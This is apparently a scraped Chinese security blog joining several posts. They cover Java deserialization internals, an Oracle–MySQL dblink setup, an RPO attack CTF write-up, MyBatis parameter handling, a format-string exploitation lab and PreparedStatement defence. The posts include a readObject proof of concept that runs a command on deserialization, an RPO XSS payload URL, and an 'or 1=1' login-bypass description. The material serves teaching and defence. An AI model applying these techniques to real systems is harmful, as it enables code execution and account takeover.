        }

        passHandle = handles.assign(unshared ? unsharedMarker : obj);
        ClassNotFoundException resolveEx = desc.getResolveException();
        if (resolveEx != null) {
            handles.markException(passHandle, resolveEx);
        }

        if (desc.isExternalizable()) {
            readExternalData((Externalizable) obj, desc);
        } else {
            readSerialData(obj, desc);
        }

        handles.finish(passHandle);

        if (obj != null &&
            handles.lookupException(passHandle) == null &&
            desc.hasReadResolveMethod())
        {
            Object rep = desc.invokeReadResolve(obj);
            if (unshared && rep.getClass().isArray()) {
                rep = cloneArray(rep);
            }
            if (rep != obj) {
                // Filter the replacement object
                if (rep != null) {
                    if (rep.getClass().isArray()) {
                        filterCheck(rep.getClass(), Array.getLength(rep));
                    } else {
                        filterCheck(rep.getClass(), -1);
                    }
                }
                handles.setObject(passHandle, obj = rep);
            }
        }

        return obj;
    }

在代码中通过

Object obj;
try {
    obj = desc.isInstantiable() ? desc.newInstance() : null;
} catch (Exception ex) {
    throw (IOException) new InvalidClassException(
        desc.forClass().getName(),
        "unable to create instance").initCause(ex);
}

来判断对象的Class是否可以实例化,如果可以就创建它的实例desc.newInstance()
紧接着通过if-eles判断进入关键位置readSerialData(Object obj, ObjectStreamClass desc)(注:1.如果实现了Externalizable接口,是不会调用readSerialData方法的 2.这里的传入参数obj就是上面通过反射获得的构造函数进而构造出来的对象)

private void readSerialData(Object obj, ObjectStreamClass desc)
        throws IOException
    {
        ObjectStreamClass.ClassDataSlot[] slots = desc.getClassDataLayout();
        for (int i = 0; i < slots.length; i++) {
            ObjectStreamClass slotDesc = slots[i].desc;

            if (slots[i].hasData) {
                if (obj == null || handles.lookupException(passHandle) != null) {
                    defaultReadFields(null, slotDesc); // skip field values
                } else if (slotDesc.hasReadObjectMethod()) {
                    ThreadDeath t = null;
                    boolean reset = false;
                    SerialCallbackContext oldContext = curContext;
                    if (oldContext != null)
                        oldContext.check();
                    try {
                        curContext = new SerialCallbackContext(obj, slotDesc);

                        bin.setBlockDataMode(true);
                        slotDesc.invokeReadObject(obj, this);
                    } catch (ClassNotFoundException ex) {
                        /*
                         * In most cases, the handle table has already
                         * propagated a CNFException to passHandle at this
                         * point; this mark call is included to address cases
                         * where the custom readObject method has cons'ed and
                         * thrown a new CNFException of its own.
                         */
                        handles.markException(passHandle, ex);
                    } finally {
                        do {
                            try {
                                curContext.setUsed();
                                if (oldContext!= null)
                                    oldContext.check();
                                curContext = oldContext;
                                reset = true;
                            } catch (ThreadDeath x) {
                                t = x;  // defer until reset is true
                            }
                        } while (!reset);
                        if (t != null)
                            throw t;
                    }

                    /*
                     * defaultDataEnd may have been set indirectly by custom
                     * readObject() method when calling defaultReadObject() or
                     * readFields(); clear it to restore normal read behavior.
                     */
                    defaultDataEnd = false;
                } else {
                    defaultReadFields(obj, slotDesc);
                    }

                if (slotDesc.hasWriteObjectData()) {
                    skipCustomData();
                } else {
                    bin.setBlockDataMode(false);
                }
            } else {
                if (obj != null &&
                    slotDesc.hasReadObjectNoDataMethod() &&
                    handles.lookupException(passHandle) == null)
                {
                    slotDesc.invokeReadObjectNoData(obj);
                }
            }
        }
            }

在进入readSerialData后经过一系列数据判断和查看是否有readObject方法后执行进入invokeReadObject(Object obj, ObjectInputStream in)并判断是否有readObjectMethod,如果有则执行readObjectMethod.invoke(obj, new Object[]{ in })反射调用我们自定义的readObject方法

根据上述过程分析,简单总结了一下关键流程,见下图
readObject-2
反序列攻击时序图(by:xxlegend)
SequenceDiagra

自定义反序列化来弹一个计算器

明白了上述分析的readObject过程,接下来我们通过重写readObject来自定义反序列化行为由此直接操作Runtime弹一个计算器

序列化

public class Ser implements Serializable{
    private static final long serialVersionUID = 1L;
    public int num=911;
    //重写readObject方法
    private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{
        in.defaultReadObject();//调用原始的readOject方法
        Runtime.getRuntime().exec("open /Applications/Calculator.app");
        System.out.println("test");
    }
    public static void main(String[] args) {
        try {
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj"));
            Ser ser=new Ser();
            oos.writeObject(ser);//序列化关键函数
            oos.flush();  //缓冲流
            oos.close(); //关闭流
        } catch (IOException e) {
            e.printStackTrace();
        }

    }
}

(注:这里我们写的执行序列化的类同时为被序列化的类)

反序列化

public class DeSer{

    public static void main(String[] args) throws ClassNotFoundException, IOException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("object.obj"));
        Ser s = (Ser) ois.readObject();
        System.out.println(s.num);
        ois.close();
    }
}

效果如下
屏幕快照 2018-07-10 下午10.18.43

风险

  1. 信息泄漏
  2. 数据篡改(伪造,拒绝服务)
  3. 命令执行

RCE前提

  • 数据未经过滤直接进入readObject
  • 存在可利用的反序列类
  • 常见触发点:

    readObject()
    readObjectNoData()
    readExternal()
    readResolve()
    validateObject()
    finalize()
    

参考资料

https://www.cnblogs.com/huhx/p/sSerializableTheory.html
https://blog.csdn.net/u014653197/article/details/78114041

探秘Java反序列化漏洞一:序列化与反序列化

最近在看Java反序列化漏洞方面的文章,感谢各位大佬的分享。由此做一个整理,并加入自己的理解。

序列化与反序列化

序列化 (Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。一般将一个对象存储至一个储存媒介,例如档案或是记亿体缓冲等。在网络传输过程中,可以是字节或是XML等格式。而字节的或XML编码格式可以还原完全相等的对象。这个相反的过程又称为反序列化。
简单来说序列化是用于将对象转换成二进制串存储,而反序列化即为将二进制串转换成对象。
未命名文件-3

为什么要序列化

在运行Java中,我们会通过各种途径创建对象,这些对象事实上都是位于JVM的堆内存中,伴随着其运行而存在。一旦当JVM停止运行,这些对象的状态也就随之消失。在实际中,我们需要将这些对象持久下来并且在需要时候读出来,或者为了节省内存,这时候就需要使用序列化。
对象序列化机制(object serialization)是Java语言内建的一种对象持久化方式,通过对象序列化,可以把对象的状态保存为字节数组,并且可以在有需要的时候将这个字节数组通过反序列化的方式再转换成对象。对象序列化可以很容易的在JVM中的活动对象和字节数组(流)之间进行转换。

使用场景

  • http参数,cookie,sesion,存储方式可能是base64(rO0), 压缩后的base64(H4sl),MII等
  • Servlets HTTP,Sockets,Session管理器 包含的协议就包括 JMX,RMI,JMS,JNDI等(\xac\xed)
  • xml Xstream,XMLDecoder等(HTTP Body:Content- Type:application/xml)
  • json(Jackson,fastjson)http请求中包含

代码实现

相关接口及类

Java为了方便开发人员将Java对象进行序列化及反序列化提供了一套方便的API来支持。其中包括以下接口和类:

java.io.Serializable

java.io.Externalizable

ObjectOutput

ObjectInput

ObjectOutputStream

ObjectInputStream 

使用时可序列化的对象需要实现 java.io.Serializable 接口或者 java.io.Externalizable 接口。
以实现 Serializable 接口为例,Serializable 仅是一个标记接口,并不包含任何需要实现的具体方法。实现该接口只是为了声明该Java类的对象是可以被序列化的。实际的序列化和反序列化工作是通过ObjectOuputStream和ObjectInputStream来完成的。ObjectOutputStream 的 writeObject 方法可以把一个Java对象写入到流中,ObjectInputStream 的 readObject 方法可以从流中读取一个 Java 对象。在写入和读取的时候,虽然用的参数或返回值是单个对象,但实际上操纵的是一个对象图,包括该对象所引用的其它对象,以及这些对象所引用的另外的对象。Java 会自动帮你遍历对象图并逐个序列化。除了对象之外,Java 中的基本类型和数组也是可以通过 ObjectOutputStream 和 ObjectInputStream 来序列化的。

示例代码

序列化

public class Ser implements Serializable{
    private static final long serialVersionUID = 1L;
    public int num=911;
    public static void main(String[] args) {
        try {
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj"));
            Ser ser=new Ser();
            oos.writeObject(ser);//序列化关键函数
            oos.flush();  //缓冲流
            oos.close(); //关闭流
        } catch (IOException e) {
            e.printStackTrace();
        }

    }
}

可以看到,在序列化后当前目录下生成了一串二进制表示的字节数组文件object.obj
接下来我们执行反序列化读出其对象中的参数
反序列化

public class DeSer {
    public static void main(String[] args) throws ClassNotFoundException, IOException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("object.obj"));
        Ser s = (Ser) ois.readObject();
        System.out.println(s.num);
        ois.close();
    }
}

屏幕快照 2018-07-10 上午11.07.56

存储格式

序列化的文件二进制字节数据如下图
屏幕快照 2018-07-10 上午11.19.01
1.序列化文件头

AC ED :STREAM_MAGIC声明使用了序列化协议
00 05 :STREAM_VERSION序列化协议版本
73 :TC_OBJECT声明这是一个新的对象

2.序列化类的描述 在这里是Ser类

72 :TC_CLASSDESC声明这里开始一个新的class
00 11 :class名字的长度是17个字节
63 6E 2E 72 75 69 30 2E 74 65 73 74 31 2E 53 65 72 :Ser的完整类名
00 00 00 00 00 00 00 01 :serialVersionUID,序列化ID,如果没有指定,则会由算法随机生成一个8字节的ID
02 :标记号,声明该类支持序列化
00 01:该类所包含的域的个数为1

3.对象中各个属性的描述

49 :域类型,49代表I,也就是int类型
00 03 :域名字的长度为3
6E 75 6D :num属性的名称

4.对象的父类信息描述

这里没有父类,如果有,则数据格式与第二部分一样

5.对象属性的实际值

如果属性是一个对象,那么这里还将序列化这个对象,规则和第2部分一样
00 00 03 8F :911的数值

当然我们也可以使用工具SerializationDumper来查看其结构
屏幕快照 2018-07-10 上午11.17.02

注意

  • 当父类实现了Serializable接口的时候,所有的子类都能序列化
  • 子类实现了Serializable接口,父类没有,父类中的属性不能被序列化(不报错,但是数据会丢失)
  • 如果序列化的属性是对象,对象必须也能序列化,否则会报错
  • 反序列化的时候,如果对象的属性有修改或则删减,修改的部分属性会丢失,但是不会报错
  • 在反序列化的时候serialVersionUID被修改的话,会反序列化失败
  • 在存Java环境下使用Java的序列化机制会支持的很好,但是在多语言环境下需要考虑别的序列化机制,比如xml,json,或则protobuf

参考资料

https://www.cnblogs.com/senlinyang/p/8204752.html
https://www.ibm.com/developerworks/cn/java/j-lo-serial/
http://www.hollischuang.com/archives/1150
http://xxlegend.com/2018/06/20/先知议题%20Java反序列化实战%20解读/

Oracle通过Dblink实现与Mysql交互

dblink(Database Link)数据库链接顾名思义就是数据库的链接,就像电话线一样,是一个通道,当我们要跨本地数据库,访问另外一个数据库表中的数据时,本地数据库中就必须要创建远程数据库的dblink,通过dblink本地数据库可以像访问本地数据库一样访问远程数据库表中的数据。


实验环境:

win8 64位

oracle11g

mysql5.7

准备:

dg4odbc

MYSQL-ODBC-5.X

实验步骤:

一.MYSQL ODBC 配置

1.开始菜单-oracle-配置和移植工具-ODBC管理员

2.系统DSN 创建新数据源

名称mysqlodbc

 

二.配置ORACLE透明网关

位置:%ORACLE_HOME%/hs/admin/

创建:init(数据库名).ora

这里我们使用initmysqllink.ora

内容:

 

三.配置TNSNAMES&LISTENER

tnsname.ora,连接端配置文件,主要内容是要访问的数据库的连接串的解释。也就是@后面的字符传的解释文件。这个主要出现的访问端(客户端),当然并不是说服务器端没有,因为服务器端也可以是访问端,比如服务器互相访问的dblink,以及服务器自己访问自己。类似于unix 的hosts文件,提供的tnsname到主机名或者ip的对应。

listener.ora,监听配置文件,接受远程对数据库的接入申请并转交给oracle的服务器进程。这个文件里面是监听的主要(重要)配置内容,也是监听在服务器端的主文件。

位置:%ORACLE_HOME%\NETWORK\ADMIN

1.tnsnames.ora增加

2.listener.ora SID_LIST_LISTENER增加

3.重启监听服务并检查是否正常

四.Oracle中创建Dblink连通Mysql

五.Oracle与Mysql进行交互

查询

插入

注意要commit

Mysql查询

添加成功

浅析RPO攻击

强网杯学到的一个新姿势。比赛之后研究了下,感觉实际情况下还是比较难利用的,不过这种攻击思路值得学习。


什么是RPO攻击

RPO(Relative Path Overwrite)相对路径覆盖,是一种新型攻击技术,最早由Gareth Heyes在其发表的文章中提出。主要是利用浏览器的一些特性和部分服务端的配置差异导致的漏洞,通过一些技巧,我们可以通过相对路径来引入其他的资源文件,以至于达成我们想要的目的。

就目前来看此攻击方法依赖于浏览器和网络服务器的反应,基于服务器的Web缓存技术和配置差异,以及服务器和客户端浏览器的解析差异,利用前端代码中加载的css/js的相对路径来加载其他文件,最终浏览器将服务器返回的不是css/js的文件当做css/js来解析,从而导致XSS,信息泄露等漏洞产生。

其实猛的一看定义,刚开始我还以为和缓存攻击差不多,其实不一样。简单来理解RPO攻击的原理,我认为就是服务端和客户端(不同模块)对url(请求内容)处理不一致导致的。这也就是上面我说的攻击思路,其实这样的攻击思路在很多web攻击中都用到,比如说二次注入,宽字节注入。

漏洞浅析

差异

这里先用绿盟文章中的案例来了解一下几个关于服务器和客户端浏览器在解析和识别上的差异性基础知识。

第一个差异化

在apache和Nginx环境下,正常情况访问如下:

然后在Apache中将/编码为%2f后,服务器无法识别url,返回404,但是在Nginx中将/编码为%2f后,服务器可以识别编码后的url,返回200:

可见不同web服务器对url的识别是不一样的。

第二个差异化

在Nginx中,编码后的url服务器可以正常识别,也就是说服务器在加载文件时会解码后找到具体文件返回返回客户端。

但是在客户端识别url时是不会解码的,正常情况下解码%2f解码后应该加载的是rpo/xxx/../x.js,最后也就是rpo/x.js文件;而这里加载的是/x.js,所以浏览器是没有解码%2f的。

实际上通过测试,客户端浏览器在加载相对路径文件时是以最后一个/为相对目录加载具体资源文件的。

 

我们再来了解一下pathinfo

什么是pathinfo

利用pathinfo解析URL

结果

在pathinfo模式下

http://localhost/index.php?m=Index&a=test 等同于 http://localhost/index.php/Index/test

—-

http://www.xxx.com/index.php/模块/方法

该模式会产生的安全问题–>http://www.jb51.net/article/102156.htm

事实上就是读不到东西会退后直到能读到东西然后解析出来,也就是把读不到的路径当成模块啥的。就好比传了个参数一样,实际加载页面是前面的。

来看下这次强网杯题目来理解

Show your mind

http://39.107.33.96:20000/index.php/view/article/111

可以看到这样的url方式应该是使用了pathinfo模式相当于

http://39.107.33.96:20000/index.php?mod=view&article=763

首先可以看到/index.php/引入了js。

然后一个功能我们可以往生成页面写入任意字符,但是这个页面有限制不能直接执行js,这时候我们就要利用RPO攻击了

首先我们在写入alert(1)

比如写到了http://39.107.33.96:20000/index.php/view/article/111 页面

接着通过构造

http://39.107.33.96:20000/index.php/view/article/111/..%2f..%2f..%2f..%2findex.php 打开网页

jq.js加载了我们构造的js

对于上面的payload实际上,服务端解析为

http://39.107.33.96:20000/index.php/view/article/111/../../../../index.php

所以实际上渲染了index.php页面,而页面中jq是通过相对路径引用的 static/js/jquery.min.js

因为差异性,我们浏览器客户端去找js路径是无法解析%2f的

就把..%2f..%2f..%2f..%2findex.php这当成一个文件,

找jq文件路径就成了http://39.107.33.96:20000/index.php/view/article/111/static/js/jquery.min.js

读到static那,因为找不到就又不读了,所以就直接加载了http://39.107.33.96:20000/index.php/view/article/111/的内容

所以我们的jquery.min.js内容成了alert(1)

 

对于实际场景中的利用:个人感觉还是比较难利用的,也就是说首先网站有可控输出点,然后未声明<!DOCTYPE html>,(声明了就是标准模式(strict mod),未声明就是怪异模式,就是浏览器使用自己的方式解析网页代码。),使用相对引用方式,有的还得配合pathinfo。如果使用{}*{xss:expression(open(alert(1)))}/`也只能在IE6,7成功。当然还有加载Scriptlet方式,不过也有同域限制。


参考:

http://www.jb51.net/article/102156.htm

http://blog.nsfocus.net/rpo-attack/

 

Mybatis中setParameters分析

在使用MyBatis时,有两种使用方法。一种是使用的接口形式,另一种是通过SqlSession调用命名空间。这两种方式在传递参数时是不一样的,命名空间的方式更直接,但是多个参数时需要我们自己创建Map或者实体对象作为入参。

最近写东西发现了一个有意思的问题,以SqlSession方式在dao层我设定了接受参数类型为一个实体对象,可是传入map也可以成功解析。于是跟进看了一下源码,也在学习中,可能会出现问题,欢迎指出。


测试中我们定义了接受参数为一个Userinfo的实体类对象user,传入时使用map类型传入

在Mybatis 设置参数中

构造xml #{xxx}的mappings

我们没有传入实体类对象而传入的map类型数据

执行DefaultParameterHandler类中setParameters方法

其中

实例化MetaObject对象并且MetaObject类的构造方法判断了我们传入参数(user(map))的类型并指定objectWrapper的实现接口

MetaObject是MyBatis的一个反射类,可以很方便的通过getValue方法获取对象的各种属性(支持集合数组和Map,可以多级属性点.访问,如user.username,user.roles[1].rolename)。

我们接着看setParameters

会执行四个关键判断

第一个if当使用<foreach>的时候,MyBatis会自动生成额外的动态参数,如果propertyName是动态参数,就会从动态参数中取值

第二个if,如果参数是null,不管属性名是什么,都会返回null。

第三个if,如果参数是一个简单类型,或者是一个注册了typeHandler的对象类型,就会直接使用该参数作为返回值,和属性名无关

最后的else,这种情况下是复杂对象或者Map类型,通过反射方便的取值

这里传入我们需要找的属性名

进入metaObject调用getValue

这里使用this.objectWrapper.get(prop);

最终调用了MapWrapper的实现接口

调用了MapWrapper下的get方法来获取map中value,其中BeanWrapper是获取传入实体的属性,他们同时都继承了BaseWrapper,之后的CollectionWrapper则会给你抛出异常告你错了,也就是说你传入的参数除了符合设定的类型,map和实体对象mybatis会加以判断 其他的如list如果不符合设置类型则会报UnsupportedOperationException异常。

这样去找传入map中key与属性名称相同的value

举个例子更好理解mabitis处理参数类型方式

比如我的dao接口中定义了一个根据id查询用户的方法Userinfo selectByPrimaryKey(Integer id);并且用xml实现

我们在使用时可以

也可以用直接传对象或者map,自己设置的接收参数#{}会在给你解析map或对象后去匹配

这样是可以成功请求的

但你用list就不行,即使你list里放个map

 

具体说 在set之前

mybatis把定义的xml#{xx}参数构造为mapping的形式(MappedStatement),我们知道SqlSource是一个接口类,在MappedStatement对象中是作为一个属性出现的,SqlSource接口只有一个getBoundSql(Object parameterObject)方法,返回一个BoundSql对象。而SqlSource最常用的实现类是DynamicSqlSource

调用DynamicContext,在DynamicContext类中,有对传入的parameterObject对象进行“map”化处理的部分,也就是说,你传入的pojo对象,会被当作一个键值对数据来源来进行处理,读取这个pojo对象的接口,还是Map对象。

具体可以看一下代码

在DynamicContext的构造函数中,可以看到,根据传入的参数对象是否为Map类型,有两个不同构造ContextMap的方式。而ContextMap作为一个继承了HashMap的对象,作用就是用于统一参数的访问方式:用Map接口方法来访问数据。

结束之后回到getBoundSql继续执行

之后就会进行setParameters操作

从boundSql取出mapping

继续执行后续上面所说获取其中对象或map操作

 

总结一下,mybatis除了标准的设置传参类型的方式,也可以传入包含相同属性的对象或者key的map,同样也是可以执行的!

 


参考:

https://blog.csdn.net/azengqiang/article/details/54377801

https://blog.csdn.net/isea533/article/details/44002219

Ubuntu下测试格式化字符串漏洞

基础内容可以参考

http://120.78.88.5/WooyunDrops/#!/drops/823.漏洞挖掘基础之格式化字符串

 

首先确保系统禁用了ASLR

执行以下命令禁用ASLR,防止地址动态分配造成实验失败

实验源码

gcc编译.关闭ld链接器不可执行机制,关闭gcc编译器gs验证码机制

gcc编译器gs验证码机制

gcc编译器专门为防止缓冲区溢出而采取的保护措施,具体方法是gcc首先在缓冲区被写入之前在buf的结束地址之后返回地址之前放入随机的gs验证码,并在缓冲区写入操作结束时检验该值。通常缓冲区溢出会从低地址到高地址覆写内存,所以如果要覆写返回地址,则需要覆写该gs验证码。这样就可以通过比较写入前和写入后gs验证码的数据,判断是否产生溢出。

关闭gcc编译器gs验证码机制的方法是:

在gcc编译时采用-fno-stack-protector选项。

ld链接器堆栈段不可执行机制

ld链接器在链接程序的时候,如果所有的.o文件的堆栈段都标记为不可执行,那么整个库的堆栈段才会被标记为不可执行;相反,即使只有一个.0文件的堆栈段被标记为可执行,那么整个库的堆栈段将被标记为可执行。检查堆栈段可执行性的方法是:

如果是检查ELF库:readelf -lW $BIN | grep GNU_STACK查看是否有E标记

如果是检查生成的.o文件:scanelf -e $BIN查看是否有X标记

ld链接器如果将堆栈段标记为不可执行,即使控制了eip产生了跳转,依然会产生段错误。

关闭ld链接器不可执行机制的方法是:

在gcc编译时采用-z execstack选项。

开始调试

首先分析一下汇编代码,下面这一段代码就是将p指向flag,并且将局部变量flag、p压栈,我们只需要利用格式化字符串漏洞覆盖掉*p指向的内存地址的内容为2000就可以了。

*p地址即位ebp-0x10 从上图我们可以看到为0xffffcfb8

所以,我们现在要将0xffffcfb8这个地址的内容修改为2000。

注: gdb调试环境里面的栈地址跟直接运行程序是不一样的,也就是说我们在直接运行程序时修改这个地址是没用的,所以我们需要结合格式化字符串漏洞读内存的功能,先泄露一个地址出来,然后我们根据泄露出来的地址计算出ebp-0x10的地址。

执行get()函数后随便输入AAAAAAA可以观察到栈区如下图

如果输入%x的话就可以读出esp+4地址上的数据 即0xffffcf54

所以说b8-54=64 计算出偏移量后我们可以去获取泄漏的地址然后再去覆盖

0xffffcfa4+0x64=0xffffd008

所以我们要修改的地址为0xffffd008

生成payload

成功

PreparedStatement防止sql注入

今天测试一个demo发现里面有点小问题,代码很规范,其中操作jdbc使用PreparedStatement也很正常,可是测试时候突然发现其采用了字符串追加形式来生产sql语句,这样使用其实直接绕开了PreparedStatement的优点[参数化的查询],从而可以轻易的造成sql注入。


首先我们先认识三个重要的对象

 1.Connection

代表着Java程序与数据库建立的连接。

2.Statement

代表SQL发送器,用于发送和执行SQL语句。

3.ResultSet

代表封装的数据库返回的结果集,用于获取查询结果。

 

上面是demo中的初始化方法和对象的使用,还有读取DbConfig.properties配置文件

什么是sql注入

简单来说就是黑客通过与服务器交互时在创建者没有有效的进行过滤的情况下的一种拼装sql命令来达到改变sql语义进而获取其敏感数据的行为.

 

那么如何进行有效的防御?我们还是在java中围绕这个demo说

它其中判断登陆用户是否成功的方法是这样写的

当我们尝试登陆一个错误用户,flag返回false,正确时返回true

可以看到,这时数据库执行的命令为

因为没有符合的返回,所以flag依然为false

可是当遇到别有用心的人时登陆就不会是这么简单的操作,比如我们执行下面的sql命令,数据库会回应怎样的数据呢?

可以看一下

返回了两个用户的信息,这也不用怎么解释,前面两个值与and返回为false而之后配一个or 1=1 也就相当于执行了

所以攻击者可以配合这样的语法来进行任意用户登陆,如 密码输入为

rs next了两次自然返回true

所以如何避免呢,在java中,Java提供了 Statement、PreparedStatement 和 CallableStatement三种方式来执行查询语句,其中 Statement 用于通用查询,PreparedStatement 用于执行参数化查询,而 CallableStatement则是用于存储过程。

其中PreparedStatement就是可以有效防止常见的sql注入的一种方法

PreparedStatement是java.sql包下面的一个接口,用来执行SQL语句查询,通过调用 connection.preparedStatement(sql) 方法可以获得PreparedStatment对象。数据库系统会对sql语句进行预编译处理(如果JDBC驱动支持的话),预处理语句将被预先编译好,这条预编译的sql查询语句能在将来的查询中重用,这样一来,它比Statement对象生成的查询速度更快。

PreparedStatement与Statement区别

Statement是PreparedStatement的父类,作为 Statement 的子类,PreparedStatement 继承了 Statement 的所有功能。

Statement不对sql语句作处理而直接交给数据库;而PreparedStatement支持预编译,对于多次重复执行的sql语句,使用PreparedStament使代码的执行效率,代码的可读性和可维护性更高,PreparedStament提高了代码的安全性,防止sql注入。

安全性 效率 开销 可读性 维护性

prepareStatement

高,预编译 容易

Statement

容易发生sql注入 低,每一次编译 不容易

 

如何使用PreparedStatement

1:字符串追加形式的PreparedStatement

2:使用参数化查询的PreparedStatement


使用PreparedStatement的参数化的查询可以阻止大部分的SQL注入。在使用参数化查询的情况下,数据库系统(eg:MySQL)不会将参数的内容视为SQL指令的一部分来处理,而是在数据库完成SQL指令的编译后,才套用参数运行,因此就算参数中含有破坏性的指令,也不会被数据库所运行。

对于刚才的例子,可以看到它使用的是第一种方式这样其实就跟使用了Statement一样,这样的优点是代码少打几行可是代价也是很高的。如果我们改成第二种,PreparedStatement会对’进行转义,sql将其作为一个参数一个字段的属性值来处理,从而使得注入攻击失败

简单来说预编译会给你外面加引号并且过滤特殊字符

 

补充:避免SQL注入的第二种方式:
在组合SQL字符串的时候,先对所传入的参数做字符取代(将单引号字符取代为连续2个单引号字符,因为连续2个单引号字符在SQL数据库中会视为字符中的一个单引号字符。)

可以看出使用拼凑字符追加型的sql生成形式能更方便灵活的自定义控制sql语句,但如果没有进行有效的过滤很容易造成sql注入,所以建议使用参数化查询的PreparedStatement,用PreparedStatement代替Statement。

【注意】占位符只能占位SQL语句中的普通值,决不能占位表名、列名、SQL关键字(select、insert等)。所以如果使用动态表名,字段,就只能向上面案例那样使用非预编译方法,不过这样显然很容易导致注入。


参考:

http://www.importnew.com/5006.html

http://blog.csdn.net/changyinling520/article/details/71159652

http://blog.csdn.net/daijin888888/article/details/50965232